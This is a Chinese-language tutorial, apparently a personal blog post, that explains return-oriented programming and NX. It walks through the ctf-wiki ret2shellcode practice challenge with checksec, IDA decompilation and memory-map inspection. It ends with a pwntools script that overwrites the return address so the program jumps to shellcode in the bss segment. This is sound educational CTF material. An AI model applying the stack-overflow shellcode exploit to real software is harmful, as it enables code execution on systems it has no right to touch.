ROP编程

什么是ROP?

ROP是一种–返回导向编程,这是一种高级的内存攻击技术,可以用来进行绕过。绕过一些防御,比如:内存不可执行和代码签名。

栈溢出的特点是ret处,那么ROP的核心思想就是利用ret结尾指令序列吧栈中应该返回EIP的地址改成我们需要的值,从而控制程序的执行流程

ROP是一种绕过开启了NX一种办法。NX是:不可执行的意思。

NX

原理:将数据所在内存页标志为不可执行,当程序溢出成功转入shellcode的时候,程序会尝试在数据页面上执行指令,这个时候CPU就会抛出异常,而不是去执行恶心代码。

当NX开启的时候,往栈上或者堆上注入代码的方法难以发挥效果。

这个时候就可以用ROP来进行绕过。

ROP

思想:在栈缓冲区溢出的基础上,利用程序中已有小片段【gadgets】来改变某些寄存器或者变量的值,从而控制程序的执行流程。

  • gadgets

    • 就是以ret结尾的指令序列。
    • 通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行顺序
  • 核心在于

    • 利用指令集中的ret指令,改变了指令流的执行顺序
  • 条件

    • 程序存在溢出,并且可以控制返回地址
    • 可以找到满足条件的gadgets以及gadgets的地址
    • 如果gadgets每次的地址是不固定的,那么就需要想办法来动态获取对应的地址了
  • ​ 基本的ROP

    • ret2text
    • ret2shellcode
    • ret2syscall
    • ret2libc
    • ..

例子:

题目链接:

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example

下载下来:首先运行来看看

image-20230530181126453

可以用checksec ret2shellcode

来看看它开保护没有

image-20230530181557880

很明显啥保护都没,铁定溢出

他说:No system for you this time !!!

没有system – 也就是没有后门

这里保持不信的态度,用IDA看看

image-20230530181301742

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}

进入眼前的就是gets 和 puts 函数,这俩个实在是太容易溢出了

strncpy 把s中的100个字符copy到buf2中

image-20230530181941629

点过去看到这个buf2是放在bss段中

bss段

  • 通常是指用来存放程序中未初始化的全局变量的一块内存区域
  • bss段属于静态内存分配

这里动态调试一下,看看bss段是否可以执行

  • 涨知识了,数据段还可以执行

看到这个buf2的地址:0804A080

image-20230530182827999

通过vmmp这个指令

0x08049f08 0x0804a0e4 rw-p

发现这个是可以写的

0804858

首先我们将payload输入到变量s也就是栈上,然后将main函数的返回地址覆盖为buf2_addr(此bss段可执行),之后main函数执行strncpy(buf2, &s, 100u);(虽然shellcode被截断为100,但是被截断的内容只是A,并不影响shellcode的完整度),将内容复制到了buf2,由于main函数的返回地址被覆盖为shellcode的地址,因此在main函数执行完毕之后,EIP转向执行shellcode

1
2
3
4
5
6
7
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh()) #生成并汇编shellcode
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

主要还是要以后慢慢琢磨